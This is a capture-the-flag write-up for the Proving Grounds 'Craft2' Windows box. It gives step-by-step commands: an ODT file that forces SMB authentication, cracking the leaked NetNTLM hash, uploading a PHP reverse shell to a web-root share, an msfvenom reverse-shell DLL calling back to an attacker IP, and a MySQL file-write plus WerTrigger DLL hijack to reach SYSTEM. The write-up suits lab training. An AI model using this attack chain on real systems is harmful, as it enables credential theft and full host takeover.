Skip to content

Craft2 Writeup - Proving Grounds

Hard Windows

Created October 8, 2026 • Last updated October 8, 2026 • 4 min read

Craft2 reuses the ODT upload from its sibling box, but this time a malicious document forces the server to authenticate back over SMB, leaking a NetNTLM hash that cracks offline. The recovered credential unlocks a writable SMB share mapped to the web root for a PHP shell. A local MySQL instance running as SYSTEM with no root password then writes a malicious DLL into System32, and triggering WerTrigger loads it for a SYSTEM shell.

Reconnaissance

Nmap

Scan the target.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -Pn -n -sCV -p- --open $TARGET_IP
PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
135/tcp   open  msrpc   Microsoft Windows RPC
445/tcp   open  smb     Microsoft Windows SMB
49666/tcp open  msrpc   Microsoft Windows RPC

Apache/XAMPP again serves a file upload restricted to ODT documents. Enumerate directories and SMB.

┌──(kali㉿kali)-[~]
└─$ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://craft.offsec -x php,txt
200  /upload.php   # ODT file upload handler
301  /uploads/     # uploaded file destination
Explain command
-x Also probe these file extensions on each discovered path.
┌──(kali㉿kali)-[~]
└─$ enum4linux $TARGET_IP
┌──(kali㉿kali)-[~]
└─$ smbclient -N -L \\\\$TARGET_IP\\
crackmapexec smb $TARGET_IP --shares
Anonymous access reveals share names but no usable access without credentials.

Anonymous SMB access reveals share names only. The upload form accepts .odt files that are processed server-side, most likely by LibreOffice or OpenOffice. That processing step is exploitable: a crafted ODF file can embed a reference to an attacker SMB share, which forces the server to authenticate back and leak its NetNTLM hash.

Exploitation

Malicious ODT and NetNTLM capture

Generate a malicious ODT with the BadODF technique, embedding a UNC path to an attacker-controlled share.

┌──(kali㉿kali)-[~]
└─$ pip install ezodf
┌──(kali㉿kali)-[~]
└─$ python3 badodt.py
Enter attacker IP when prompted

Stand up an Impacket SMB server to catch the authentication attempt, then upload the ODT through the web form. The server opens it and authenticates to the fake share, leaking its NetNTLM hash.

┌──(kali㉿kali)-[~]
└─$ sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py temp $(pwd) -smb2support
thecybergeek::CRAFT2:<NTLMv2 hash>

Crack the captured hash offline.

┌──(kali㉿kali)-[~]
└─$ hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
thecybergeek:$THECYBERGEEK_PASSWORD
Explain command
-m 5600 NetNTLMv2 hash mode.

Validate the recovered credential and check for writable shares.

SMB share access and web shell upload

Check for writable shares with CrackMapExec.

┌──(kali㉿kali)-[~]
└─$ crackmapexec smb $TARGET_IP -u thecybergeek -p $THECYBERGEEK_PASSWORD --shares
WebApp   READ,WRITE   # mapped to the web root

The WebApp share maps to the web root and is writable. Upload a PHP reverse shell.

┌──(kali㉿kali)-[~]
└─$ smbclient \\\\$TARGET_IP\\WebApp -U 'CRAFT2\thecybergeek'
┌──(kali㉿kali)-[~]
└─$ put shell.php

Start a listener and trigger the shell over HTTP.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
listening on [any] $ATTACKER_PORT ...
┌──(kali㉿kali)-[~]
└─$ curl http://craft.offsec/shell.php

Shell caught as a low-privileged user. Enumerate the host for a privilege escalation path.

Privilege Escalation

MySQL running as SYSTEM

Run WinPEAS and review the findings.

┌──(kali㉿kali)-[~]
└─$ winpeas.exe
MySQL running as SYSTEM: root, no password, listening on localhost:3306 only
phpMyAdmin available at http://localhost/phpmyadmin/
Write permissions in C:\Windows\system32 and C:\xampp

MySQL only listens on localhost, so tunnel it out with Chisel to reach phpMyAdmin.

┌──(kali㉿kali)-[~]
└─$ ./chisel server -p $ATTACKER_PORT --reverse
server: Reverse tunnelling enabled
PS C:\Users\Guest\Desktop> .\chisel client $ATTACKER_IP:$ATTACKER_PORT R:80:127.0.0.1:80

Through the tunnel, phpMyAdmin authenticates as root with a blank password. MySQL here runs as SYSTEM, and its load_file()/INTO DUMPFILE primitives can write arbitrary files with SYSTEM privileges. Pair that with WerTrigger, a Windows Error Reporting DLL hijack: when WerTrigger.exe runs, it loads a DLL from its own directory, so planting one in System32 gets it loaded as SYSTEM.

WerTrigger DLL hijack via MySQL

Generate the malicious DLL.

┌──(kali㉿kali)-[~]
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT -f dll > phoneinfo.dll

Upload phoneinfo.dll, WerTrigger.exe and Report.wer to the web root via the writable SMB share, then use MySQL's file write primitive through phpMyAdmin to move them into System32.

SELECT load_file('C:\\xampp\\htdocs\\phoneinfo.dll') INTO DUMPFILE 'C:\\Windows\\system32\\phoneinfo.dll';
SELECT load_file('C:\\xampp\\htdocs\\Report.wer') INTO DUMPFILE 'C:\\Windows\\system32\\Report.wer';
SELECT load_file('C:\\xampp\\htdocs\\WerTrigger.exe') INTO DUMPFILE 'C:\\Windows\\system32\\WerTrigger.exe';

Start a listener, then run WerTrigger on the target.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
listening on [any] $ATTACKER_PORT ...
PS C:\Users\Guest\Desktop> .\WerTrigger.exe

The listener catches a SYSTEM shell once Windows Error Reporting loads the planted DLL.

PS C:\Users\Guest\Desktop> whoami
nt authority\system